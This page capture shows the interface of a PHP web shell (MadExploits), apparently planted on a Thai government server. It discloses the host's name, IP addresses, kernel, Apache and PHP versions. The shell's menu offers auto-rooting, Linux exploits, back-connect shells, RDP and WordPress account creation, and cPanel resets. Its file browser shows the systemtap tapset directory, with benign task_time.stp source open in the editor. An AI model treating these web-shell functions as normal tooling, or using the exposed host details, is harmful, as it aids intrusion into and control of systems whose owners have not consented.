Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
tapset /
linux /
[ HOME SHELL ]
Name
Size
Permission
Action
arm
[ DIR ]
drwxr-xr-x
arm64
[ DIR ]
drwxr-xr-x
i386
[ DIR ]
drwxr-xr-x
ia64
[ DIR ]
drwxr-xr-x
powerpc
[ DIR ]
drwxr-xr-x
s390
[ DIR ]
drwxr-xr-x
x86_64
[ DIR ]
drwxr-xr-x
atomic.stp
1.52
KB
-rw-r--r--
aux_syscalls.stp
139.14
KB
-rw-r--r--
context-caller.stp
3.07
KB
-rw-r--r--
context-envvar.stp
1.71
KB
-rw-r--r--
context-symbols.stp
11.98
KB
-rw-r--r--
context-unwind.stp
2.81
KB
-rw-r--r--
context.stp
17.76
KB
-rw-r--r--
context.stpm
125
B
-rw-r--r--
conversions-guru.stp
5.56
KB
-rw-r--r--
conversions.stp
10.92
KB
-rw-r--r--
ctime.stp
5.32
KB
-rw-r--r--
dentry.stp
9.79
KB
-rw-r--r--
dev.stp
1.79
KB
-rw-r--r--
endian.stp
602
B
-rw-r--r--
guru-delay.stp
1.2
KB
-rw-r--r--
guru-signal.stp
1.07
KB
-rw-r--r--
inet.stp
1.42
KB
-rw-r--r--
inet_sock.stp
1.31
KB
-rw-r--r--
ioblock.stp
12.55
KB
-rw-r--r--
ioscheduler.stp
11.74
KB
-rw-r--r--
ip.stp
5.23
KB
-rw-r--r--
ipmib-filter-default.stp
965
B
-rw-r--r--
ipmib.stp
12.55
KB
-rw-r--r--
irq.stp
5
KB
-rw-r--r--
json.stp
8.92
KB
-rw-r--r--
json.stpm
6.11
KB
-rw-r--r--
kprocess.stp
4.38
KB
-rw-r--r--
kretprobe.stp
2.1
KB
-rw-r--r--
linuxmib-filter-default.stp
876
B
-rw-r--r--
linuxmib.stp
3.38
KB
-rw-r--r--
loadavg.stp
1.87
KB
-rw-r--r--
logging.stp
2.08
KB
-rw-r--r--
memory.stp
17.77
KB
-rw-r--r--
nd_syscalls.stp
138.14
KB
-rw-r--r--
nd_syscalls2.stp
161.75
KB
-rw-r--r--
netfilter.stp
31.56
KB
-rw-r--r--
networking.stp
7.17
KB
-rw-r--r--
nfs.stp
37.86
KB
-rw-r--r--
nfs_proc.stp
55.3
KB
-rw-r--r--
nfs_proc.stpm
1.18
KB
-rw-r--r--
nfsd.stp
39.97
KB
-rw-r--r--
nfsderrno.stp
11.7
KB
-rw-r--r--
panic.stp
1.07
KB
-rw-r--r--
perf.stp
4.5
KB
-rw-r--r--
proc_mem.stp
11.49
KB
-rw-r--r--
pstrace.stp
773
B
-rw-r--r--
rcu.stp
917
B
-rw-r--r--
rlimit.stp
1.35
KB
-rw-r--r--
rpc.stp
37.94
KB
-rw-r--r--
scheduler.stp
11.33
KB
-rw-r--r--
scsi.stp
9.46
KB
-rw-r--r--
signal.stp
28.35
KB
-rw-r--r--
socket.stp
33.41
KB
-rw-r--r--
syscalls.stp
136.01
KB
-rw-r--r--
syscalls.stpm
11.28
KB
-rw-r--r--
syscalls2.stp
158.1
KB
-rw-r--r--
syscalls_cfg_trunc.stp
111
B
-rw-r--r--
target_set.stp
1.71
KB
-rw-r--r--
task.stp
19.07
KB
-rw-r--r--
task.stpm
157
B
-rw-r--r--
task_ancestry.stp
1.57
KB
-rw-r--r--
task_time.stp
7.45
KB
-rw-r--r--
tcp.stp
21.98
KB
-rw-r--r--
tcpmib-filter-default.stp
885
B
-rw-r--r--
tcpmib.stp
10.29
KB
-rw-r--r--
timestamp.stp
1.72
KB
-rw-r--r--
timestamp_gtod.stp
1.59
KB
-rw-r--r--
timestamp_monotonic.stp
5.12
KB
-rw-r--r--
tty.stp
7.15
KB
-rw-r--r--
tzinfo.stp
803
B
-rw-r--r--
ucontext-symbols.stp
8.62
KB
-rw-r--r--
ucontext-unwind.stp
3.64
KB
-rw-r--r--
ucontext.stp
2.18
KB
-rw-r--r--
udp.stp
5.73
KB
-rw-r--r--
utrace.stp
1.33
KB
-rw-r--r--
vfs.stp
26.83
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : task_time.stp
// Task time query and utility functions. // Copyright (C) 2009, 2014 Red Hat Inc. // // This file is part of systemtap, and is free software. You can // redistribute it and/or modify it under the terms of the GNU General // Public License (GPL); either version 2, or (at your option) any // later version. // <tapsetdescription> // Task time query and utility functions provide information about // the time resource usage of the current task. These functions provide // information about the user time and system time of the current // task. And provide utility functions to turn the reported times // into miliseconds and create human readable string representations // of task time used. The reported times are approximates and should // be used for "coarse grained" measurements only. The reported user // and system time are only for the current task, not for the process // as a whole nor of any time spend by children of the current task. // </tapsetdescription> %{ #include <linux/sched.h> /* includes asm/cputime.h */ #include <linux/time.h> /* Kernels since 2.6.37 generally have cputime_to_usecs, but not msecs. * (ref: kernel commit d57af9b2142f31a39dcfdeb30776baadfc802827) * Yet note some kernels (RHEL6) may already have both... */ #if defined(cputime_to_usecs) #if !defined(cputime_to_msecs) #define cputime_to_msecs(__ct) _stp_div64(NULL, cputime_to_usecs(__ct), 1000ULL) #endif /* Kernels before 2.6.37 have cputime_to_msecs, but not usecs. */ #elif defined(cputime_to_msecs) #define cputime_to_usecs(__ct) (cputime_to_msecs(__ct) * 1000ULL) /* RHEL4 (2.6.9) kernels have neither, but it's just jiffies anyway. */ #else #define cputime_to_msecs(__ct) jiffies_to_msecs(__ct) #define cputime_to_usecs(__ct) jiffies_to_usecs(__ct) #endif %} /** * sfunction task_utime - User time of the current task * * Description: Returns the user time of the current task in cputime. * Does not include any time used by other tasks in this process, nor * does it include any time of the children of this task. */ function task_utime:long () %{ /* pure */ /* stable */ /* unprivileged */ STAP_RETVALUE = current->utime; %} /** * sfunction task_utime_tid - User time of the given task * * @tid: Thread id of the given task * * Description: Returns the user time of the given task in cputime, * or zero if the task doesn't exist. * Does not include any time used by other tasks in this process, nor * does it include any time of the children of this task. */ function task_utime_tid:long(tid:long) { task = pid2task(tid); if (task != 0) return task->utime; else return 0; } /** * sfunction task_stime - System time of the current task * * Description: Returns the system time of the current task in cputime. * Does not include any time used by other tasks in this process, nor * does it include any time of the children of this task. */ function task_stime:long () %{ /* pure */ /* stable */ /* unprivileged */ STAP_RETVALUE = current->stime; %} /** * sfunction task_stime_tid - System time of the given task * * @tid: Thread id of the given task * * Description: Returns the system time of the given task in cputime, * or zero if the task doesn't exist. * Does not include any time used by other tasks in this process, nor * does it include any time of the children of this task. */ function task_stime_tid:long(tid:long) { task = pid2task(tid); if (task != 0) return task->stime; else return 0; } /** * sfunction task_start_time - Start time of the given task * * @tid: Thread id of the given task * * Description: Returns the start time of the given task in nanoseconds since * boot time or 0 if the task does not exist. */ function task_start_time:long (tid:long) { task = pid2task(tid); if (task != 0) { if (@defined(@task(0)->real_start_time->tv_sec)) { time_sec = task->real_start_time->tv_sec time_nsec = task->real_start_time->tv_nsec return time_sec * 1000000000 + time_nsec } else { // simple u64 in ns since kernel commit 57e0be041d9e2 return task->real_start_time } } else return 0 } /** * sfunction cputime_to_msecs - Translates the given cputime into milliseconds * @cputime: Time to convert to milliseconds. */ function cputime_to_msecs:long (cputime:long) %{ /* pure */ /* unprivileged */ STAP_RETVALUE = cputime_to_msecs (STAP_ARG_cputime); %} /** * sfunction cputime_to_usecs - Translates the given cputime into microseconds * @cputime: Time to convert to microseconds. */ function cputime_to_usecs:long (cputime:long) %{ /* pure */ /* unprivileged */ STAP_RETVALUE = cputime_to_usecs (STAP_ARG_cputime); %} /** * sfunction msecs_to_string - Human readable string for given milliseconds * * @msecs: Number of milliseconds to translate. * * Description: Returns a string representing the number of * milliseconds as a human readable string consisting of "XmY.ZZZs", * where X is the number of minutes, Y is the number of seconds and * ZZZ is the number of milliseconds. */ function msecs_to_string:string (msecs:long) { ms = msecs % 1000; secs = msecs / 1000; mins = secs / 60; secs = secs % 60; return sprintf("%dm%d.%.3ds", mins, secs, ms); } /** * sfunction usecs_to_string - Human readable string for given microseconds * * @usecs: Number of microseconds to translate. * * Description: Returns a string representing the number of * microseconds as a human readable string consisting of "XmY.ZZZZZZs", * where X is the number of minutes, Y is the number of seconds and * ZZZZZZ is the number of microseconds. */ function usecs_to_string:string (usecs:long) { us = usecs % 1000000; secs = usecs / 1000000; mins = secs / 60; secs = secs % 60; return sprintf("%dm%d.%.6ds", mins, secs, us); } /** * sfunction nsecs_to_string - Human readable string for given nanoseconds * * @nsecs: Number of nanoseconds to translate. * * Description: Returns a string representing the number of * nanoseconds as a human readable string consisting of "XmY.ZZZZZZs", * where X is the number of minutes, Y is the number of seconds and * ZZZZZZZZZ is the number of nanoseconds. */ function nsecs_to_string:string (nsecs:long) { ns = nsecs % 1000000000; secs = nsecs / 1000000000; mins = secs / 60; secs = secs % 60; return sprintf("%dm%d.%.9ds", mins, secs, ns); } /** * sfunction cputime_to_string - Human readable string for given cputime * * @cputime: Time to translate. * * Description: Equivalent to calling: * msec_to_string (cputime_to_msecs (cputime). */ function cputime_to_string:string (cputime:long) { return msecs_to_string (cputime_to_msecs (cputime)); } /** * sfunction task_time_string - Human readable string of task time usage * * Description: Returns a human readable string showing the user and * system time the current task has used up to now. For example * "usr: 0m12.908s, sys: 1m6.851s". */ function task_time_string:string () { return sprintf ("usr: %s, sys: %s", cputime_to_string (task_utime()), cputime_to_string (task_stime())); } /** * sfunction task_time_string_tid - Human readable string of task time usage * * @tid: Thread id of the given task * * Description: Returns a human readable string showing the user and * system time the given task has used up to now. For example * "usr: 0m12.908s, sys: 1m6.851s". */ function task_time_string_tid:string (tid:long) { return sprintf ("usr: %s, sys: %s", cputime_to_string (task_utime_tid(tid)), cputime_to_string (task_stime_tid(tid))); }
Close